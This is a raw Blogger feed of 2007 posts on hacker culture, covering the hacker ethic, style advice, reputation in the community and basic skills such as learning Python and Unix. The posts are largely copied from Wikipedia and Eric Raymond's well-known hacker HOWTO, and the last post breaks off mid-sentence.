GMail'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bMyGVxkBo4M/Rjh1xxmFaQI/AAAAAAAAABc/fmyjerrUHr0/s72-c/51ZAB0JCNDL._BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg' height='72' width='72'/><thr:total>285</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-7120512548499519995</id><published>2007-04-04T06:55:00.000-07:00</published><updated>2007-05-02T04:59:29.561-07:00</updated><title type='text'>Hacker ethic</title><content type='html'>&lt;div align="justify"&gt;&lt;strong&gt;Hacker ethic&lt;/strong&gt;&lt;br /&gt;From Wikipedia, the free encyclopedia&lt;br /&gt;In modern parlance, the hacker ethic (otherwise known as hacktivism) is either:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the belief that information-sharing is a powerful positive good, and that it is an ethical duty of hackers to share their expertise by writing free software and facilitating access to information and computing resources wherever possible; and/or&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;the belief that system cracking for fun and exploration is ethically acceptable as long as the hacker commits no theft, vandalism, or breach of confidentiality. Some distinguish hacking (writing good software and sharing it for free), from cracking (breaking the law).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Both of these normative ethical principles are widely, but by no means universally, accepted among hackers. The first, and arguably the second, emerged from the MIT Artificial Intelligence Laboratory during the '60s and '70s.&lt;br /&gt;&lt;br /&gt;Most hackers subscribe to the hacker ethic in the first sense, and many act on it by writing free software, giving the user permission to study, modify, and redistribute it. A few, such as the Free Software Foundation, go further and assert that it is immoral to prevent computer users from sharing or altering software, as is typical with proprietary software.&lt;br /&gt;&lt;br /&gt;The second sense is more controversial: some people consider the act of cracking afoul of the government itself to be unethical, like breaking and entering into an office. But the belief that 'ethical' cracking excludes destruction at least moderates the behavior of people who see themselves as 'benign' crackers (see also samurai, grey hat). On this view, it may be one of the highest forms of hacker courtesy to (a) break into a system, and then (b) explain to the SysOp, preferably by email from a superuser account, exactly how it was done and how the hole can be plugged; effectively acting as an unpaid (and unsolicited) tiger team.&lt;br /&gt;&lt;br /&gt;The most reliable manifestation of either version of the hacker ethic is that almost all hackers are actively willing to share technical tricks, software, and (where possible) computing resources with other hackers. Huge cooperative networks such as Usenet, FidoNet and the Internet itself can function without central control because of this trait; they both rely on and reinforce a sense of community that may be hackerdom's most valuable intangible asset.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;History&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;The term "hacker ethic" was coined by journalist Steven Levy and used for the first time in Hackers: Heroes of the Computer Revolution (1984). Levy's account of the hacker ethic is in large parts based on the values of the "old school" hackers at MIT Artificial Intelligence Laboratory. Among these hackers were Richard M. Stallman, whom Levy at the time called the last true hacker. The similarities between the Hacker Ethic and values existing in open scientific communities is, therefore, no coincidence.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;In Levy's codification, the principles of the Hacker Ethic were:&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Access to computers — and anything which might teach you something about the way the world works — should be unlimited and total. Always yield to the Hands-on Imperative!&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;All information should be free.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Mistrust authority — promote decentralization.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;You can create art and beauty on a computer.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Computers can change your life for the better.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Later in 2001, Finnish philosopher Pekka Himanen opposed the Hacker ethic with Protestant work ethic. In Himanen's opinion the hacker ethic is more closely related to the Virtue ethics found in the writings of Plato and of Aristotle.&lt;br /&gt;&lt;br /&gt;For Himanen (who wrote "The Hacker Ethic"), Torvalds (prologue), and Castells (epilogue), the hacker ethic centers around passion, hard work, creativity and joy in creating software.&lt;br /&gt;&lt;br /&gt;Written on January 8th, 1986 by a hacker with the handle "The Mentor", 'The Hacker Manifesto' illustrates some of the commonly held philosophies of hacker ethic. Hacker ethic itself is typically a discussion arising in reference to the definition of a hacker as an individual capable and willing to infiltrate, exploit, or otherwise bypass security restrictions for some purpose. It is the intentions of the hacker, and their purpose which are deemed either ethical, or unethical based on the so called hacker ethic. Note, hackers themselves tend to have little patience for incompetence, hence, were one to damage a system in an attempt to infiltrate it, even with good intentions, it may be considered somewhat unethical in that an individual without the necessary skill to accomplish the task at hand, would be deemed unfit to take on the responsibility. The Hacker Manifesto was written to give somewhat of an insight into the motivations of a hacker, which is closely related to the so called hacker ethic. Essentially it served as an argument that, though a hacker may break the law, their intentions may still be entirely good natured, purposeful, beneficial, and otherwise ethical.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-7120512548499519995?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/7120512548499519995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=7120512548499519995' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/7120512548499519995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/7120512548499519995'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/04/hacker-ethic.html' title='Hacker ethic'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-2974893597448574133</id><published>2007-03-04T13:28:00.000-08:00</published><updated>2007-05-02T05:00:35.357-07:00</updated><title type='text'>Points For Style Hackers</title><content type='html'>&lt;div align="justify"&gt;Again, to be a hacker, you have to enter the hacker mindset. There are some things you can do when you're not at a computer that seem to help. They're not substitutes for hacking (nothing is) but many hackers do them, and feel that they connect in some basic way with the essence of hacking.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Learn to write your native language well. Though it's a common stereotype that programmers can't write, a surprising number of hackers (including all the most accomplished ones I know of) are very able writers.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Read science fiction. Go to science fiction conventions (a good way to meet hackers and proto-hackers).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Train in a martial-arts form. The kind of mental discipline required for martial arts seems to be similar in important ways to what hackers do. The most popular forms among hackers are definitely Asian empty-hand arts such as Tae Kwon Do, various forms of Karate, Kung Fu, Aikido, or Ju Jitsu. Western fencing and Asian sword arts also have visible followings. In places where it's legal, pistol shooting has been rising in popularity since the late 1990s. The most hackerly martial arts are those which emphasize mental discipline, relaxed awareness, and control, rather than raw strength, athleticism, or physical toughness.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Study an actual meditation discipline. The perennial favorite among hackers is Zen (importantly, it is possible to benefit from Zen without acquiring a religion or discarding one you already have). Other styles may work as well, but be careful to choose one that doesn't require you to believe crazy things.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Develop an analytical ear for music. Learn to appreciate peculiar kinds of music. Learn to play some musical instrument well, or how to sing.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Develop your appreciation of puns and wordplay.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The more of these things you already do, the more likely it is that you are natural hacker material. Why these things in particular is not completely clear, but they're connected with a mix of left- and right-brain skills that seems to be important; hackers need to be able to both reason logically and step outside the apparent logic of a problem at a moment's notice.&lt;br /&gt;&lt;br /&gt;Work as intensely as you play and play as intensely as you work. For true hackers, the boundaries between "play", "work", "science" and "art" all tend to disappear, or to merge into a high-level creative playfulness. Also, don't be content with a narrow range of skills. Though most hackers self-describe as programmers, they are very likely to be more than competent in several related skills — system administration, web design, and PC hardware troubleshooting are common ones. A hacker who's a system administrator, on the other hand, is likely to be quite skilled at script programming and web design. Hackers don't do things by halves; if they invest in a skill at all, they tend to get very good at it.&lt;br /&gt;&lt;br /&gt;Finally, a few things not to do.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Don't use a silly, grandiose user ID or screen name.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Don't get in flame wars on Usenet (or anywhere else).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Don't call yourself a ‘cyberpunk’, and don't waste your time on anybody who does.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Don't post or email writing that's full of spelling errors and bad grammar.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Don't use a silly, grandiose user ID or screen name. Don't get in flame wars on Usenet (or anywhere else).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The only reputation you'll make doing any of these things is as a twit. Hackers have long memories — it could take you years to live your early blunders down enough to be accepted.&lt;br /&gt;&lt;br /&gt;The problem with screen names or handles deserves some amplification. Concealing your identity behind a handle is a juvenile and silly behavior characteristic of crackers, warez d00dz, and other lower life forms. Hackers don't do this; they're proud of what they do and want it associated with their real names. So if you have a handle, drop it. In the hacker culture it will only mark you as a loser.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-2974893597448574133?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/2974893597448574133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=2974893597448574133' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/2974893597448574133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/2974893597448574133'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/03/points-for-style-hackers.html' title='Points For Style Hackers'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-3670253681165506689</id><published>2007-03-04T13:26:00.000-08:00</published><updated>2007-05-02T05:01:02.491-07:00</updated><title type='text'>The Hacker/Nerd Connection</title><content type='html'>&lt;div align="justify"&gt;Contrary to popular myth, you don't have to be a nerd to be a hacker. It does help, however, and many hackers are in fact nerds. Being something a social outcast helps you stay concentrated on the really important things, like thinking and hacking.&lt;br /&gt;&lt;br /&gt;For this reason, many hackers have adopted the label ‘geek’ as a badge of pride — it's a way of declaring their independence from normal social expectations (as well as a fondness for other things like science fiction and strategy games that often go with being a hacker). The term 'nerd' used to be used this way back in the 1990s, back when 'nerd' was a mild pejorative and 'geek' a rather harsher one; sometime after 2000 they switched places, at least in U.S. popular culture, and there is now even a significant geek-pride culture among people who aren't techies.&lt;br /&gt;&lt;br /&gt;If you can manage to concentrate enough on hacking to be good at it and still have a life, that's fine. This is a lot easier today than it was when I was a newbie in the 1970s; mainstream culture is much friendlier to techno-nerds now. There are even growing numbers of people who realize that hackers are often high-quality lover and spouse material.&lt;br /&gt;&lt;br /&gt;If you're attracted to hacking because you don't have a life, that's OK too — at least you won't have trouble concentrating. Maybe you'll get a life later on.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-3670253681165506689?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/3670253681165506689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=3670253681165506689' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/3670253681165506689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/3670253681165506689'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/03/hackernerd-connection.html' title='The Hacker/Nerd Connection'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-4347982637782777836</id><published>2007-03-04T12:38:00.000-08:00</published><updated>2007-05-02T05:01:44.142-07:00</updated><title type='text'>Status in the Hacker Culture</title><content type='html'>&lt;div align="justify"&gt;Like most cultures without a money economy, hackerdom runs on reputation. You're trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.&lt;br /&gt;&lt;br /&gt;Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren't really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (gradually decaying since the late 1990s but still potent) against admitting that ego or external validation are involved in one's motivation at all.&lt;br /&gt;&lt;br /&gt;Specifically, hackerdom is what anthropologists call a gift culture. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill.&lt;br /&gt;&lt;br /&gt;There are basically five kinds of things you can do to be respected by hackers:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1. Write open-source software&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources away to the whole hacker culture to use.&lt;br /&gt;&lt;br /&gt;(We used to call these works “free software”, but this confused too many people who weren't sure exactly what “free” was supposed to mean. Most of us now prefer the term &lt;span&gt;&lt;a href="http://www.opensource.org/"&gt;“open-source”&lt;/a&gt;&lt;/span&gt; software).&lt;br /&gt;&lt;br /&gt;Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.&lt;br /&gt;&lt;br /&gt;But there's a bit of a fine historical point here. While hackers have always looked up to the open-source developers among them as our community's hardest core, before the mid-1990s most hackers most of the time worked on closed source. This was still true when I wrote the first version of this HOWTO in 1996; it took the mainstreaming of open-source software after 1997 to change things. Today, "the hacker community" and "open-source developers" are two descriptions for what is essentially the same culture and population — but it is worth remembering that this was not always so.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2. Help test and debug open-source software&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;They also serve who stand and debug open-source software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That's why any open-source author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that's a protracted, exhausting nightmare and one that's merely a salutary nuisance.&lt;br /&gt;&lt;br /&gt;If you're a newbie, try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate good karma with people who will help you later on.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3. Publish useful information&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Another good thing is to collect and filter useful and interesting information into web pages or documents like Frequently Asked Questions (FAQ) lists, and make those generally available.&lt;br /&gt;&lt;br /&gt;Maintainers of major technical FAQs get almost as much respect as open-source authors.&lt;br /&gt;4. Help keep the infrastructure working&lt;br /&gt;&lt;br /&gt;The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs done to keep it going — administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.&lt;br /&gt;&lt;br /&gt;People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not as much fun as playing with code. Doing them shows dedication.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;5. Serve the hacker culture itself&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Finally, you can serve and propagate the culture itself (by, for example, writing an accurate primer on how to become a hacker :-)). This is not something you'll be positioned to do until you've been around for while and become well-known for one of the first four things.&lt;br /&gt;&lt;br /&gt;The hacker culture doesn't have leaders, exactly, but it does have culture heroes and tribal elders and historians and spokespeople. When you've been in the trenches long enough, you may grow into one of these. Beware: hackers distrust blatant ego in their tribal elders, so visibly reaching for this kind of fame is dangerous. Rather than striving for it, you have to sort of position yourself so it drops in your lap, and then be modest and gracious about your status.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-4347982637782777836?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/4347982637782777836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=4347982637782777836' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/4347982637782777836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/4347982637782777836'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/03/status-in-hacker-culture.html' title='Status in the Hacker Culture'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-5452531485092559939</id><published>2007-03-04T12:04:00.000-08:00</published><updated>2007-05-02T05:02:25.232-07:00</updated><title type='text'>Basic Hacking Skills</title><content type='html'>&lt;div align="justify"&gt;The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.&lt;br /&gt;&lt;br /&gt;This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But right now it pretty clearly includes the following:&lt;br /&gt;&lt;br /&gt;&lt;span&gt;1. Learn how to program.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed evaluation of Python. Good tutorials are available at the Python web site.&lt;br /&gt;&lt;br /&gt;Java is also a good language for learning to program in. It is more difficult than Python, but produces faster code than Python. I think it makes an excellent second language. Unfortunately, Sun's reference implementation is still proprietary. This is not so much an issue with the Java language itself, as high-quality open-source Java interpreters are readily available; the real problem is the class libraries that travel with the language. The open-source class libraries lag behind Sun's. So, if you do choose to learn Java, do it with one of the open-source implementations rather than becoming dependent on Sun's proprietary code.&lt;br /&gt;&lt;br /&gt;But be aware that you won't reach the skill level of a hacker or even merely a programmer if you only know one or two languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.&lt;br /&gt;&lt;br /&gt;If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.&lt;br /&gt;&lt;br /&gt;C is very efficient, and very sparing of your machine's resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today's machines as powerful as they are, this is usually a bad tradeoff — it's smarter to use a language that uses the machine's time less efficiently, but your time much more efficiently. Thus, Python.&lt;br /&gt;&lt;br /&gt;Other languages of particular importance to hackers include Perl and LISP. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.&lt;br /&gt;&lt;br /&gt;LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)&lt;br /&gt;&lt;br /&gt;It's best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.&lt;br /&gt;&lt;br /&gt;I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it (many, maybe most of the best hackers are self-taught). You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) reading code and (b) writing code.&lt;br /&gt;&lt;br /&gt;Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called Teach Yourself Programming in Ten Years. His "recipe for programming success" is worth careful attention.&lt;br /&gt;&lt;br /&gt;Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.&lt;br /&gt;&lt;br /&gt;Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...&lt;br /&gt;&lt;br /&gt;&lt;span&gt;2. Get one of the open-source Unixes and learn to use and run it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes or OpenSolaris, install it on a personal machine, and run it.&lt;br /&gt;&lt;br /&gt;Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.&lt;br /&gt;&lt;br /&gt;Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.&lt;br /&gt;&lt;br /&gt;Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)&lt;br /&gt;&lt;br /&gt;So, bring up a Unix — I like Linux myself but there are other ways (and yes, you can run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.&lt;br /&gt;&lt;br /&gt;For more about learning Unix, see The Loginataka. You might also want to have a look at The Art Of Unix Programming.&lt;br /&gt;&lt;br /&gt;To get your hands on a Linux, see the Linux Online! site; you can download from there or (better idea) find a local Linux user group to help you with installation. From a new user's point of view, all Linux distributions are pretty much equivalent.&lt;br /&gt;&lt;br /&gt;You can find BSD Unix help and resources at www.bsd.org.&lt;br /&gt;&lt;br /&gt;I have written a primer on the basics of Unix and the Internet.&lt;br /&gt;&lt;br /&gt;(Note: I don't really recommend installing either Linux or BSD as a solo project if you're a newbie. For Linux, find a local Linux user's group and ask for help.)&lt;br /&gt;&lt;br /&gt;&lt;span&gt;3. Learn how to use the World Wide Web and write HTML.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.&lt;br /&gt;&lt;br /&gt;This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; here's one.)&lt;br /&gt;&lt;br /&gt;But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see The HTML Hell Page).&lt;br /&gt;&lt;br /&gt;To be worthwhile, your page must have content — it must be interesting and/or useful to other hackers. And that brings us to the next topic...&lt;br /&gt;&lt;br /&gt;&lt;span&gt;4. If you don't have functional English, learn it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.&lt;br /&gt;&lt;br /&gt;Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).&lt;br /&gt;&lt;br /&gt;Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It's an example worth following.&lt;br /&gt;&lt;br /&gt;Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-5452531485092559939?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/5452531485092559939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=5452531485092559939' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/5452531485092559939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/5452531485092559939'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/03/basic-hacking-skills.html' title='Basic Hacking Skills'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-1582348722815019346</id><published>2007-03-01T12:49:00.000-08:00</published><updated>2007-05-02T05:03:53.057-07:00</updated><title type='text'>Who Is Hacker</title><content type='html'>&lt;div align="justify"&gt;&lt;span&gt;&lt;span&gt;From Wikipedia, the free encyclopedia&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;A hacker&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt; is often someone who creates and modifies computer software or computer hardware, including computer programming, administration, and security-related items. A hacker is also someone who modifies electronics, for example, ham radio transceivers, printers or even home sprinkler systems to get extra functionality or performance. The term usually bears strong connotations, but may be either favorable or denigrating depending on cultural context (see the hacker definition controversy).&lt;br /&gt;&lt;ul&gt;&lt;li&gt;In computer programming, a hacker is a software designer and programmer who builds elegant, beautiful programs and systems. A hacker can also be a programmer who hacks or reaches a goal by employing a series of modifications to exploit or extend existing code or resources. For some, "hacker" has a negative connotation and refers to a person who "hacks" or uses kludges to accomplish programming tasks that are ugly, inelegant, and inefficient. This pejorative form of the noun "hack" is even used incorrectly among users of the positive sense of "hacker".&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;In computer security, a hacker is a person who specializes in work with the security mechanisms for computer and network systems. While including those who 